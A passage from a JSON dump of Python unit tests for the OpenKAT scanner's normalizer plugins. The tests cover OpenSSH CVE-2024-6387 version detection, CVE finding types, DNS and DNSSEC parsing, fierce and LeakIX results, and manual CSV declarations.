    "content": "from boefjes.plugins.kat_cve_2024_6387.normalize import is_vulnerable\n\n\ndef test_is_vulnerable():\n    for version in [\n        \"SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3\",\n        \"SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10\",\n        \"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.3\",\n        \"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.4\",\n        \"SSH-2.0-OpenSSH_9.3p1 Ubuntu-1ubuntu3.6\",\n        \"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10\",\n    ]:\n        assert not is_vulnerable(version)\n\n    for version in [\n        \"SSH-2.0-OpenSSH_8.9p1\",\n        \"SSH-2.0-OpenSSH_9.2p1\",\n        \"SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2\",\n        \"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13\",\n        \"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7\",\n        \"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3\",\n    ]:\n        assert is_vulnerable(version)\n"
  },
  {
    "path": "boefjes/tests/plugins/test_cve_finding_types.py",
    "content": "from boefjes.normalizer_models import NormalizerAffirmation\nfrom boefjes.plugins.kat_cve_finding_types.normalize import run\nfrom octopoes.models.ooi.findings import RiskLevelSeverity\nfrom octopoes.models.types import CVEFindingType\nfrom tests.loading import get_dummy_data\n\n\ndef test_cve_with_cvss():\n    input_ooi = {\"id\": \"CVE-2021-46882\"}\n\n    oois = list(run(input_ooi, get_dummy_data(\"inputs/cve-result-with-cvss.json\")))\n\n    expected = [\n        NormalizerAffirmation(\n            ooi=CVEFindingType(\n                id=\"CVE-2021-46882\",\n                description=\"The video framework has memory overwriting caused by addition overflow. \"\n                \"Successful exploitation of this vulnerability may affect availability.\",\n                source=\"https://cve.circl.lu/cve/CVE-2021-46882\",\n                risk_severity=RiskLevelSeverity.HIGH,\n                risk_score=7.5,\n            )\n        )\n    ]\n\n    assert expected == oois\n\n\ndef test_cve_with_cvss2():\n    input_ooi = {\"id\": \"CVE-2016-0616\"}\n\n    oois = list(run(input_ooi, get_dummy_data(\"inputs/cve-result-with-cvss2.json\")))\n\n    expected = [\n        NormalizerAffirmation(\n            ooi=CVEFindingType(\n                id=\"CVE-2016-0616\",\n                description=\"Unspecified vulnerability in Oracle MySQL 5.5.46 and earlier and MariaDB before \"\n                \"5.5.47, 10.0.x before 10.0.23, and 10.1.x before 10.1.10 allows remote authenticated users \"\n                \"to affect availability via unknown vectors related to Optimizer.\",\n                source=\"https://cve.circl.lu/cve/CVE-2016-0616\",\n                risk_severity=RiskLevelSeverity.MEDIUM,\n                risk_score=4.0,\n            )\n        )\n    ]\n\n    assert expected == oois\n\n\ndef test_cve_without_cvss():\n    input_ooi = {\"id\": \"CVE-2021-46882\"}\n\n    oois = list(run(input_ooi, get_dummy_data(\"inputs/cve-result-without-cvss.json\")))\n\n    expected = [\n        NormalizerAffirmation(\n            ooi=CVEFindingType(\n                id=\"CVE-2021-46882\",\n                description=\"The Nested Pages plugin for WordPress is vulnerable to unauthorized loss of \"\n                \"data due to a missing capability check on the 'reset' function in versions up to, and including, \"\n                \"3.2.3. This makes it possible for authenticated attackers, \"\n                \"with editor-level permissions and above, \"\n                \"to reset plugin settings.\",\n                source=\"https://cve.circl.lu/cve/CVE-2021-46882\",\n                risk_severity=RiskLevelSeverity.UNKNOWN,\n                risk_score=None,\n            )\n        )\n    ]\n\n    assert expected == oois\n"
  },
  {
    "path": "boefjes/tests/plugins/test_dns.py",
    "content": "import uuid\nfrom ipaddress import IPv4Address, IPv6Address\n\nimport pytest\nfrom pydantic import BaseModel\n\nfrom boefjes.worker.job_models import (\n    Boefje,\n    BoefjeMeta,\n    Normalizer,\n    NormalizerMeta,\n    ObservationsWithoutInputOOI,\n    RawDataMeta,\n)\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.records import (\n    DNSAAAARecord,\n    DNSARecord,\n    DNSCNAMERecord,\n    DNSMXRecord,\n    DNSNSRecord,\n    DNSSOARecord,\n    DNSTXTRecord,\n)\nfrom octopoes.models.ooi.dns.zone import DNSZone, Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, Network\nfrom tests.loading import get_dummy_data\n\n\ndef test_dns_normalizer(normalizer_runner):\n    internet = Network(name=\"internet\")\n\n    zone_hostname = Hostname(name=\"example.nl\", network=internet.reference)\n    zone = DNSZone(hostname=zone_hostname.reference)\n    zone_hostname.dns_zone = zone.reference\n\n    ip_v4_addresses = [\n        IPAddressV4(network=internet.reference, address=IPv4Address(\"94.198.159.35\")),\n        IPAddressV4(network=internet.reference, address=IPv4Address(\"94.198.159.36\")),\n    ]\n    dns_a_records = [\n        DNSARecord(hostname=zone_hostname.reference, value=str(ip.address), address=ip.reference, ttl=14364)\n        for ip in ip_v4_addresses\n    ]\n    ip_v6_addresses = [\n        IPAddressV6(network=internet.reference, address=IPv6Address(\"2a00:d78:0:712:94:198:159:35\")),\n        IPAddressV6(network=internet.reference, address=IPv6Address(\"2a00:d78:0:712:94:198:159:36\")),\n    ]\n    dns_aaaa_records = [\n        DNSAAAARecord(hostname=zone_hostname.reference, value=str(ip.address), address=ip.reference, ttl=14400)\n        for ip in ip_v6_addresses\n    ]\n    dns_txt_records = [\n        DNSTXTRecord(hostname=zone_hostname.reference, value=\"v=spf1 redirect=spf-a.example.nl\", ttl=14400)\n    ]\n\n    mx_hostnames = [\n        Hostname(network=internet.reference, name=\"mail.example.nl\"),\n        Hostname(network=internet.reference, name=\"mail2.example.nl\"),\n    ]\n    dns_mx_records = [\n        DNSMXRecord(\n            hostname=zone_hostname.reference,\n            value=f\"10 {mx_rec.name}.\",\n            ttl=14400,\n            mail_hostname=mx_rec.reference,\n            preference=10,\n        )\n        for mx_rec in mx_hostnames\n    ]\n\n    ns_hostnames = [\n        Hostname(name=value, network=internet.reference)\n        for value in [\"ns3.examplenl.org\", \"ns1.examplenl.nl\", \"ns2.examplenl.eu\", \"ns0.examplenl.com\"]\n    ]\n\n    ns_records = [\n        DNSNSRecord(\n            hostname=zone_hostname.reference,\n            value=ns_hostname.name + \".\",\n            name_server_hostname=ns_hostname.reference,\n            ttl=2634,\n        )\n        for ns_hostname in ns_hostnames\n    ]\n\n    soa_hostname = Hostname(network=internet.reference, name=\"ns1.examplenl.nl\", dns_zone=zone.reference)\n    soa_record = DNSSOARecord(\n        hostname=zone_hostname.reference,\n        value=\"ns1.examplenl.nl. hostmaster.sidn.nl. 2021111101 14400 7200 1209600 86400\",\n        soa_hostname=soa_hostname.reference,\n        ttl=14340,\n        serial=2021111101,\n        retry=7200,\n        refresh=14400,\n        expire=1209600,\n        minimum=86400,\n    )\n\n    # noinspection PyTypeChecker\n    expected = (\n        [zone_hostname, zone]\n        + ip_v4_addresses\n        + dns_a_records\n        + ip_v6_addresses\n        + dns_aaaa_records\n        + dns_txt_records\n        + mx_hostnames\n        + dns_mx_records\n        + ns_hostnames\n        + ns_records\n        + [soa_record]\n    )\n\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"dns-normalize.json\"))\n    results = normalizer_runner.run(meta, get_dummy_data(\"inputs/dns-result-example.nl.json\"))\n\n    assert len(results.observations) == 1\n    assert len(list(map(BaseModel.model_dump, expected))) == len(\n        list(map(BaseModel.model_dump, results.observations[0].results))\n    )\n\n\ndef test_dns_normalizer_cname(normalizer_runner):\n    internet = Network(name=\"internet\")\n\n    zone_hostname = Hostname(network=internet.reference, name=\"example.nl\")\n    zone = DNSZone(hostname=zone_hostname.reference)\n    zone_hostname.dns_zone = zone.reference\n\n    input_hostname = Hostname(network=internet.reference, name=\"www.example.nl\", dns_zone=zone.reference)\n    cname_target = Hostname(network=internet.reference, name=\"webredir.examplenl.nl\")\n\n    soa_hostname = Hostname(network=internet.reference, name=\"ns1.examplenl.nl\")\n    soa_record = DNSSOARecord(\n        hostname=zone_hostname.reference,\n        value=\"ns1.examplenl.nl. hostmaster.sidn.nl. 2021111101 14400 7200 1209600 86400\",\n        ttl=14340,\n        soa_hostname=soa_hostname.reference,\n        serial=2021111101,\n        refresh=14400,\n        retry=7200,\n        expire=1209600,\n        minimum=86400,\n    )\n\n    cname_record = DNSCNAMERecord(\n        hostname=input_hostname.reference,\n        value=cname_target.name + \".\",\n        ttl=10800,\n        target_hostname=cname_target.reference,\n    )\n\n    ip_address = IPAddressV4(network=internet.reference, address=IPv4Address(\"94.198.159.35\"))\n    dns_a_record = DNSARecord(\n        hostname=cname_target.reference, address=ip_address.reference, value=str(ip_address.address), ttl=10800\n    )\n\n    expected = [\n        zone,\n        zone_hostname,\n        soa_hostname,\n        soa_record,\n        cname_target,\n        cname_record,\n        ip_address,\n        dns_a_record,\n        input_hostname,\n    ]\n\n    meta = NormalizerMeta(\n        id=uuid.UUID(\"72c7d302-0d6f-407a-aaec-9ffcad0ee7c6\"),\n        normalizer=Normalizer(id=\"kat_dns_normalize\"),\n        raw_data=RawDataMeta(\n            id=uuid.UUID(\"3b8397ba-50e4-476e-834a-2fa2595a43a5\"),\n            boefje_meta=BoefjeMeta(\n                id=uuid.UUID(\"10535bba-2715-42f9-be47-ccd985b59eea\"),\n                boefje=Boefje(id=\"dns-records\"),\n                organization=\"_dev\",\n                input_ooi=\"Hostname|internet|www.example.nl\",\n                arguments={\"domain\": \"www.example.nl.\", \"input\": {\"name\": \"www.example.nl.\"}},\n            ),\n            mime_types=[{\"value\": \"boefje/dns-records\"}],\n        ),\n    )\n\n    results = normalizer_runner.run(meta, get_dummy_data(\"inputs/dns-result-www.example.nl.json\"))\n    assert len(list(map(BaseModel.model_dump, expected))) == len(\n        list(map(BaseModel.model_dump, results.observations[0].results))\n    )\n\n\ndef test_parse_record_null_mx_record(normalizer_runner):\n    meta = NormalizerMeta(\n        id=uuid.UUID(\"d7d65462-5ced-4a57-a1d7-c6d2edf38354\"),\n        normalizer=Normalizer(id=\"kat_dns_normalize\"),\n        raw_data=RawDataMeta(\n            id=uuid.UUID(\"94fe3b47-fb41-4ad7-b2de-1bfe63460c98\"),\n            boefje_meta=BoefjeMeta(\n                id=uuid.UUID(\"f1e72e47-c11f-47e9-953a-52e3b6833eaf\"),\n                boefje=Boefje(id=\"dns-records\"),\n                organization=\"_dev\",\n                input_ooi=\"Hostname|internet|english.example.nl\",\n                arguments={\"domain\": \"english.example.nl\", \"input\": {\"name\": \"english.example.nl\"}},\n            ),\n            mime_types=[{\"value\": \"boefje/dns-records\"}],\n        ),\n    )\n\n    answer = get_dummy_data(\"inputs/dns-result-mx-example.nl.json\")\n\n    internet = Network(name=\"internet\")\n    input_hostname = Hostname(network=internet.reference, name=\"english.example.nl\")\n\n    cname_target = Hostname(network=internet.reference, name=\"redir.example.nl\")\n    cname_record = DNSCNAMERecord(\n        hostname=input_hostname.reference, value=\"redir.example.nl.\", ttl=60, target_hostname=cname_target.reference\n    )\n    mx_record = DNSMXRecord(hostname=cname_target.reference, value=\"0 .\", ttl=14400, preference=0)\n\n    results = normalizer_runner.run(meta, answer)\n\n    expected = [cname_target, cname_record, mx_record, input_hostname]\n    assert len(list(map(BaseModel.model_dump, expected))) == len(\n        list(map(BaseModel.model_dump, results.observations[0].results))\n    )\n\n\ndef test_parse_cname_soa(normalizer_runner):\n    internet = Network(name=\"internet\")\n\n    zone_hostname = Hostname(network=internet.reference, name=\"example.com\")\n    zone = DNSZone(hostname=zone_hostname.reference)\n    zone_hostname.dns_zone = zone.reference\n\n    input_hostname = Hostname(network=internet.reference, name=\"www.example.com\", dns_zone=zone.reference)\n\n    cname_record = DNSCNAMERecord(\n        hostname=input_hostname.reference, value=\"example.com.\", ttl=60, target_hostname=zone_hostname.reference\n    )\n    ip_address = IPAddressV4(network=internet.reference, address=IPv4Address(\"94.198.159.35\"))\n    a_record = DNSARecord(\n        hostname=zone_hostname.reference, address=ip_address.reference, value=str(ip_address.address), ttl=60\n    )\n    soa_hostname = Hostname(network=internet.reference, name=\"ns.icann.org\")\n    ns_hostnames = [\n        Hostname(name=value, network=internet.reference) for value in [\"a.iana-servers.net\", \"b.iana-servers.net\"]\n    ]\n    ns_records = [\n        DNSNSRecord(\n            hostname=zone_hostname.reference,\n            value=ns_hostname.name + \".\",\n            name_server_hostname=ns_hostname.reference,\n            ttl=60,\n        )\n        for ns_hostname in ns_hostnames\n    ]\n    soa_record = DNSSOARecord(\n        hostname=zone_hostname.reference,\n        value=\"ns.icann.org. noc.dns.icann.org. 2022040432 7200 3600 1209600 3600\",\n        ttl=21,\n        soa_hostname=soa_hostname.reference,\n        serial=2022040432,\n        retry=3600,\n        refresh=7200,\n        expire=1209600,\n        minimum=3600,\n    )\n    txt_record = DNSTXTRecord(hostname=zone_hostname.reference, value=\"v=spf1 -all\", ttl=60)\n    mx_record = DNSMXRecord(\n        hostname=zone_hostname.reference,\n        value=\"0 example.com.\",\n        ttl=60,\n        mail_hostname=zone_hostname.reference,\n        preference=0,\n    )\n\n    meta = NormalizerMeta(\n        id=uuid.UUID(\"a2a85d54-a6ce-495d-b7a5-23c1a79f4cec\"),\n        normalizer=Normalizer(id=\"kat_dns_normalize\"),\n        raw_data=RawDataMeta(\n            id=uuid.UUID(\"ac481bc2-a524-4dcc-91a4-28ed9c2c142b\"),\n            boefje_meta=BoefjeMeta(\n                id=uuid.UUID(\"0671b9ac-1624-4c09-a94a-4f9edbc40064\"),\n                boefje=Boefje(id=\"dns-records\"),\n                organization=\"_dev\",\n                input_ooi=\"Hostname|internet|www.example.com\",\n                arguments={\"domain\": \"www.example.com\", \"input\": {\"name\": \"www.example.com\"}},\n            ),\n            mime_types=[{\"value\": \"boefje/dns-records\"}],\n        ),\n    )\n\n    results = normalizer_runner.run(meta, get_dummy_data(\"inputs/dns-result-example.com-cnames.json\"))\n\n    expected = (\n        [\n            zone,\n            zone_hostname,\n            cname_record,\n            ip_address,\n            a_record,\n            soa_record,\n            txt_record,\n            mx_record,\n            input_hostname,\n            soa_hostname,\n        ]\n        + ns_hostnames\n        + ns_records\n    )\n    assert len(list(map(BaseModel.model_dump, expected))) == len(\n        list(map(BaseModel.model_dump, results.observations[0].results))\n    )\n\n\ndef test_find_parent_dns_zone(normalizer_runner):\n    internet = Network(name=\"internet\")\n\n    requested_zone = DNSZone(hostname=Hostname(network=internet.reference, name=\"sub.example.nl\").reference)\n    parent_zone_hostname = Hostname(network=internet.reference, name=\"example.nl\")\n    parent_zone = DNSZone(hostname=parent_zone_hostname.reference)\n    parent_zone_hostname.dns_zone = parent_zone.reference\n\n    requested_zone.parent = parent_zone.reference\n\n    name_server_hostname = Hostname(network=internet.reference, name=\"ns1.examplenl.nl\")\n\n    soa_record = DNSSOARecord(\n        hostname=parent_zone_hostname.reference,\n        value=\"ns1.examplenl.nl. hostmaster.sidn.nl. 2021111101 14400 7200 1209600 86400\",\n        ttl=14340,\n        soa_hostname=name_server_hostname.reference,\n        serial=2021111101,\n        retry=7200,\n        refresh=14400,\n        expire=1209600,\n        minimum=86400,\n    )\n\n    input_ = DNSZone(\n        hostname=Hostname(network=Reference.from_str(\"Network|internet\"), name=\"sub.example.nl\").reference\n    ).serialize()\n\n    meta = NormalizerMeta(\n        id=uuid.UUID(\"ee8374bb-e79f-4083-9ce9-add4f96006f2\"),\n        normalizer=Normalizer(id=\"kat_dns_zone_normalize\"),\n        raw_data=RawDataMeta(\n            id=uuid.UUID(\"2147da2a-921c-4c51-aef3-fa82d8d6e089\"),\n            boefje_meta=BoefjeMeta(\n                id=uuid.UUID(\"ff1f0d62-a2e0-480f-8b11-5fb24974edce\"),\n                boefje=Boefje(id=\"dns-records\"),\n                organization=\"_dev\",\n                input_ooi=\"DnsZone|internet|sub.example.nl\",\n                arguments={\"input\": input_},\n            ),\n            mime_types=[{\"value\": \"boefje/dns-records\"}],\n        ),\n    )\n\n    results = normalizer_runner.run(meta, get_dummy_data(\"inputs/dns-zone-result-sub.example.nl.txt\"))\n\n    expected = [requested_zone, parent_zone, parent_zone_hostname, name_server_hostname, soa_record]\n    assert len(list(map(BaseModel.model_dump, expected))) == len(\n        list(map(BaseModel.model_dump, results.observations[0].results))\n    )\n\n\ndef test_exception_raised_no_input_ooi(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"dns-normalize.json\"))\n    meta.raw_data.boefje_meta.input_ooi = None\n\n    with pytest.raises(ObservationsWithoutInputOOI):\n        normalizer_runner.run(meta, get_dummy_data(\"inputs/dns-result-example.nl.json\"))\n"
  },
  {
    "path": "boefjes/tests/plugins/test_dnssec.py",
    "content": "from boefjes.plugins.kat_dnssec.normalize import run\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import Network\nfrom tests.loading import get_dummy_data\n\n\ndef test_dnssec_unsigned():\n    input_ooi = Hostname(network=Network(name=\"internet\").reference, name=\"example.org\")\n    output = list(run(input_ooi.serialize(), get_dummy_data(\"inputs/dnssec-unsigned.txt\")))\n\n    assert output[1].primary_key == \"Finding|Hostname|internet|example.org|KAT-NO-DNSSEC\"\n\n\ndef test_dnssec_invalid():\n    input_ooi = Hostname(network=Network(name=\"internet\").reference, name=\"example.org\")\n    output = list(run(input_ooi.serialize(), get_dummy_data(\"inputs/dnssec-self-signed.txt\")))\n\n    assert output[1].primary_key == \"Finding|Hostname|internet|example.org|KAT-INVALID-DNSSEC\"\n\n\ndef test_dnssec_valid():\n    input_ooi = Hostname(network=Network(name=\"internet\").reference, name=\"example.org\")\n    output = list(run(input_ooi.serialize(), get_dummy_data(\"inputs/dnssec-valid.txt\")))\n\n    assert len(output) == 0\n\n\ndef test_dnssec_status_line_not_last_line():\n    input_ooi = Hostname(network=Network(name=\"internet\").reference, name=\"ps4.platformrijksoverheid.nl\")\n    output = list(run(input_ooi.serialize(), get_dummy_data(\"inputs/dnssec-status-line-not-last-line.txt\")))\n\n    assert len(output) == 0\n"
  },
  {
    "path": "boefjes/tests/plugins/test_fierce.py",
    "content": "from ipaddress import IPv4Address, IPv6Address\nfrom unittest.mock import MagicMock\n\nfrom boefjes.plugins.kat_fierce.normalize import run\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname, ResolvedHostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, Network\nfrom tests.loading import get_dummy_data\n\n\ndef test_fierce():\n    oois = set(run(MagicMock(), get_dummy_data(\"inputs/fierce-result-example.com.json\")))\n\n    expected = {\n        ResolvedHostname(\n            hostname=Reference(\"Hostname|internet|www.example.com\"), address=Reference(\"IPAddressV4|internet|192.0.2.2\")\n        ),\n        ResolvedHostname(\n            hostname=Reference(\"Hostname|internet|subdomain.example.com\"),\n            address=Reference(\"IPAddressV4|internet|192.0.2.3\"),\n        ),\n        ResolvedHostname(\n            hostname=Reference(\"Hostname|internet|ipv6.example.com\"), address=Reference(\"IPAddressV6|internet|ff02::1\")\n        ),\n        Hostname(network=Reference(\"Network|internet\"), name=\"example.com\"),\n        Hostname(\n            registered_domain=Reference(\"Hostname|internet|example.com\"),\n            network=Reference(\"Network|internet\"),\n            name=\"www.example.com\",\n        ),\n        Hostname(\n            registered_domain=Reference(\"Hostname|internet|example.com\"),\n            network=Reference(\"Network|internet\"),\n            name=\"subdomain.example.com\",\n        ),\n        Hostname(\n            registered_domain=Reference(\"Hostname|internet|example.com\"),\n            network=Reference(\"Network|internet\"),\n            name=\"ipv6.example.com\",\n        ),\n        IPAddressV4(address=IPv4Address(\"192.0.2.3\"), network=Reference(\"Network|internet\")),\n        IPAddressV4(address=IPv4Address(\"192.0.2.2\"), network=Reference(\"Network|internet\")),\n        IPAddressV6(address=IPv6Address(\"ff02::1\"), network=Reference(\"Network|internet\")),\n        Network(name=\"internet\"),\n    }\n\n    assert oois == expected\n"
  },
  {
    "path": "boefjes/tests/plugins/test_generic_finding_normalizer.py",
    "content": "from boefjes.plugins.kat_finding_normalizer.normalize import run\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import KATFindingType\nfrom octopoes.models.types import CVEFindingType, Finding\n\n\ndef test_single():\n    input_ooi = {\"primary_key\": \"Network|internet\"}\n\n    oois = list(run(input_ooi, b\"CVE-2021-00000\"))\n\n    expected = [\n        CVEFindingType(id=\"CVE-2021-00000\"),\n        Finding(\n            finding_type=CVEFindingType(id=\"CVE-2021-00000\").reference,\n            ooi=Reference.from_str(\"Network|internet\"),\n            description=\"CVE-2021-00000 is found on this OOI\",\n        ),\n    ]\n\n    assert expected == oois\n\n\ndef test_multiple():\n    input_ooi = {\"primary_key\": \"Network|internet\"}\n\n    oois = list(run(input_ooi, b\"CVE-2021-00000, KAT-MOCK-FINDING\"))\n\n    expected = [\n        CVEFindingType(id=\"CVE-2021-00000\"),\n        Finding(\n            finding_type=CVEFindingType(id=\"CVE-2021-00000\").reference,\n            ooi=Reference.from_str(\"Network|internet\"),\n            description=\"CVE-2021-00000 is found on this OOI\",\n        ),\n        KATFindingType(id=\"KAT-MOCK-FINDING\"),\n        Finding(\n            finding_type=KATFindingType(id=\"KAT-MOCK-FINDING\").reference,\n            ooi=Reference.from_str(\"Network|internet\"),\n            description=\"KAT-MOCK-FINDING is found on this OOI\",\n        ),\n    ]\n\n    assert expected == oois\n"
  },
  {
    "path": "boefjes/tests/plugins/test_leakix.py",
    "content": "import json\n\nfrom pydantic import TypeAdapter\n\nfrom boefjes.plugins.kat_leakix.normalize import run\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPPort\nfrom octopoes.models.types import OOIType\nfrom tests.loading import get_dummy_data\n\n\ndef test_output():\n    input_ooi = TypeAdapter(OOIType).validate_python(\n        {\n            \"object_type\": \"HostnameHTTPURL\",\n            \"network\": \"Network|internet\",\n            \"scheme\": \"https\",\n            \"port\": 443,\n            \"path\": \"/\",\n            \"netloc\": \"Hostname|internet|example.com\",\n        }\n    )\n\n    output = [x for x in run(input_ooi.serialize(), get_dummy_data(\"raw/leakix-example.com.json\"))]\n\n    assert len(output) == 170\n    assert str(output) == get_dummy_data(\"raw/leakix-example.com-output.txt\").decode().strip()\n\n\ndef _get_hostname_input_ooi():\n    return TypeAdapter(OOIType).validate_python(\n        {\"object_type\": \"Hostname\", \"network\": \"Network|internet\", \"name\": \"example.com\"}\n    )\n\n\ndef test_strict_mode_filters_hostname_subdomains():\n    \"\"\"Test that strict mode only keeps events with exact hostname match.\"\"\"\n    input_ooi = _get_hostname_input_ooi()\n\n    # Test data has 3 events: example.com (match), sub.example.com (no match), other.example.org (no match)\n    output = list(run(input_ooi.serialize(), get_dummy_data(\"raw/leakix-hostname-strict.json\")))\n\n    # Only the exact \"example.com\" event should produce OOIs (7 per event)\n    hostnames = [ooi for ooi in output if isinstance(ooi, Hostname)]\n    ip_addresses = [ooi for ooi in output if isinstance(ooi, IPAddressV4)]\n    ip_ports = [ooi for ooi in output if isinstance(ooi, IPPort)]\n\n    assert len(output) == 7\n    assert len(hostnames) == 1\n    assert hostnames[0].name == \"example.com\"\n    assert len(ip_addresses) == 1\n    assert str(ip_addresses[0].address) == \"93.184.215.14\"\n    assert len(ip_ports) == 1\n\n\ndef test_permissive_mode_keeps_all_hostname_results():\n    \"\"\"Test that permissive mode keeps all events including subdomains.\"\"\"\n    input_ooi = _get_hostname_input_ooi()\n\n    # Load the strict test data and change search_mode to permissive\n    raw_data = json.loads(get_dummy_data(\"raw/leakix-hostname-strict.json\"))\n    raw_data[\"search_mode\"] = \"permissive\"\n\n    output = list(run(input_ooi.serialize(), json.dumps(raw_data).encode()))\n\n    # All 3 events should produce OOIs in permissive mode (7 per event)\n    hostnames = [ooi for ooi in output if isinstance(ooi, Hostname)]\n    ip_addresses = [ooi for ooi in output if isinstance(ooi, IPAddressV4)]\n\n    assert len(output) == 21\n    assert len(hostnames) == 3\n    assert {h.name for h in hostnames} == {\"example.com\", \"sub.example.com\", \"other.example.org\"}\n    assert len(ip_addresses) == 3\n"
  },
  {
    "path": "boefjes/tests/plugins/test_manual.py",
    "content": "from ipaddress import IPv4Address, IPv6Address\nfrom pathlib import Path\n\nfrom pydantic import AnyUrl\n\nfrom boefjes.local.runner import LocalNormalizerJobRunner\nfrom boefjes.normalizer_models import NormalizerResults\nfrom boefjes.worker.job_models import NormalizerMeta\nfrom boefjes.worker.repository import LocalPluginRepository\nfrom octopoes.models import Reference\nfrom tests.loading import get_dummy_data\n\nTEST_DECLARATIONS_DATA = (\n    b\"[\"\n    b'{\"ooi\": {\"object_type\": \"Network\", \"scan_profile\": null, \"user_id\": null\\\n    , \"primary_key\": \"Network|net1\", \"name\": \"net1\"}},'\n    b'{\"ooi\": {\"object_type\": \"Network\", \"scan_profile\": null, \"user_id\": null\\\n    , \"primary_key\": \"Network|net2\", \"name\": \"net2\"}}'\n    b\"]\"\n)\nCSV_EXAMPLES = [\n    # hostname\n    b\"name,network\\nexample.com,internet\",\n    # hostname without network\n    b\"name\\nexample.net\",\n    # ipv4s\n    b\"\"\"address,network\n1.1.1.1,internet\n2.2.2.2,internet\n3.3.3.3,darknet\"\"\",\n    # ipv6s\n    b\"\"\"address,network\nFE80:CD00:0000:0CDE:1257:0000:211E:729C,internet\nFE80:CD00:0000:0CDE:1257:0000:211E:729D,darknet\"\"\",\n    # urls\n    b\"\"\"network,raw\ninternet,https://example.com/\ndarknet,https://openkat.nl/\"\"\",\n    # url without network\n    b\"raw\\nhttps://example.com/\",\n]\n\n\ndef test_parse_manual_declarations(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"manual-ooi.json\"))\n    output = normalizer_runner.run(meta, TEST_DECLARATIONS_DATA)\n\n    assert len(output.declarations) == 2\n    assert len(output.observations) == 0\n\n    assert output.declarations[0].ooi.model_dump() == {\n        \"name\": \"net1\",\n        \"object_type\": \"Network\",\n        \"primary_key\": \"Network|net1\",\n        \"scan_profile\": None,\n        \"user_id\": None,\n    }\n    assert output.declarations[1].ooi.model_dump() == {\n        \"name\": \"net2\",\n        \"object_type\": \"Network\",\n        \"primary_key\": \"Network|net2\",\n        \"scan_profile\": None,\n        \"user_id\": None,\n    }\n\n\ndef test_parse_manual_hostname_csv(normalizer_runner):\n    meta, output, runner = check_network_created(normalizer_runner, 0)\n\n    assert len(output.declarations) == 2\n    assert output.declarations[1].ooi.model_dump() == {\n        \"dns_zone\": None,\n        \"name\": \"example.com\",\n        \"network\": Reference(\"Network|internet\"),\n        \"object_type\": \"Hostname\",\n        \"primary_key\": \"Hostname|internet|example.com\",\n        \"registered_domain\": None,\n        \"scan_profile\": None,\n        \"user_id\": None,\n    }\n\n    meta, output, runner = check_network_created(normalizer_runner, 1)\n\n    assert len(output.declarations) == 2\n    assert output.declarations[1].ooi.model_dump() == {\n        \"dns_zone\": None,\n        \"name\": \"example.net\",\n        \"network\": Reference(\"Network|internet\"),\n        \"object_type\": \"Hostname\",\n        \"primary_key\": \"Hostname|internet|example.net\",\n        \"registered_domain\": None,\n        \"scan_profile\": None,\n        \"user_id\": None,\n    }\n\n\ndef test_parse_manual_ip_csv(normalizer_runner):\n    meta, output, runner = check_network_created(normalizer_runner, 2)\n    assert len(output.declarations) == 6\n    assert output.declarations[1].ooi.model_dump() == {\n        \"address\": IPv4Address(\"1.1.1.1\"),\n        \"netblock\": None,\n        \"network\": Reference(\"Network|internet\"),\n        \"object_type\": \"IPAddressV4\",\n        \"primary_key\": \"IPAddressV4|internet|1.1.1.1\",\n        \"scan_profile\": None,\n        \"user_id\": None,\n    }\n\n    meta, output, runner = check_network_created(normalizer_runner, 3)\n    assert output.declarations[1].ooi.model_dump() == {\n        \"address\": IPv6Address(\"fe80:cd00:0:cde:1257:0:211e:729c\"),\n        \"netblock\": None,\n        \"network\": Reference(\"Network|internet\"),\n        \"object_type\": \"IPAddressV6\",\n        \"primary_key\": \"IPAddressV6|internet|fe80:cd00:0:cde:1257:0:211e:729c\",\n        \"scan_profile\": None,\n        \"user_id\": None,\n    }\n\n\ndef test_parse_url_csv(normalizer_runner):\n    meta, output, runner = check_network_created(normalizer_runner, 4)\n    assert len(output.declarations) == 4\n\n    assert output.declarations[1].ooi.model_dump() == {\n        \"network\": Reference(\"Network|internet\"),\n        \"object_type\": \"URL\",\n        \"primary_key\": \"URL|internet|https://example.com/\",\n        \"raw\": AnyUrl(\"https://example.com/\"),\n        \"scan_profile\": None,\n        \"user_id\": None,\n        \"web_url\": None,\n    }\n\n    meta, output, runner = check_network_created(normalizer_runner, 5)\n    assert len(output.declarations) == 2\n    assert output.declarations[1].ooi.model_dump() == {\n        \"network\": Reference(\"Network|internet\"),\n        \"object_type\": \"URL\",\n        \"primary_key\": \"URL|internet|https://example.com/\",\n        \"raw\": AnyUrl(\"https://example.com/\"),\n        \"scan_profile\": None,\n        \"user_id\": None,\n        \"web_url\": None,\n    }\n\n\ndef check_network_created(\n    normalizer_runner, csv_idx: int\n) -> tuple[NormalizerMeta, NormalizerResults, LocalNormalizerJobRunner]:\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"manual-csv.json\"))\n    local_repository = LocalPluginRepository(Path(__file__).parent.parent / \"boefjes\" / \"plugins\")\n    runner = LocalNormalizerJobRunner(local_repository)\n    output = normalizer_runner.run(meta, CSV_EXAMPLES[csv_idx])\n\n    assert len(output.observations) == 0\n    assert output.declarations[0].ooi.model_dump() == {\n        \"name\": \"internet\",\n        \"object_type\": \"Network\",\n        \"primary_key\": \"Network|internet\",\n        \"scan_profile\": None,\n        \"user_id\": None,\n    }\n\n    return meta, output, runner\n"
  },
  {
    "path": "boefjes/tests/plugins/test_nmap.py",
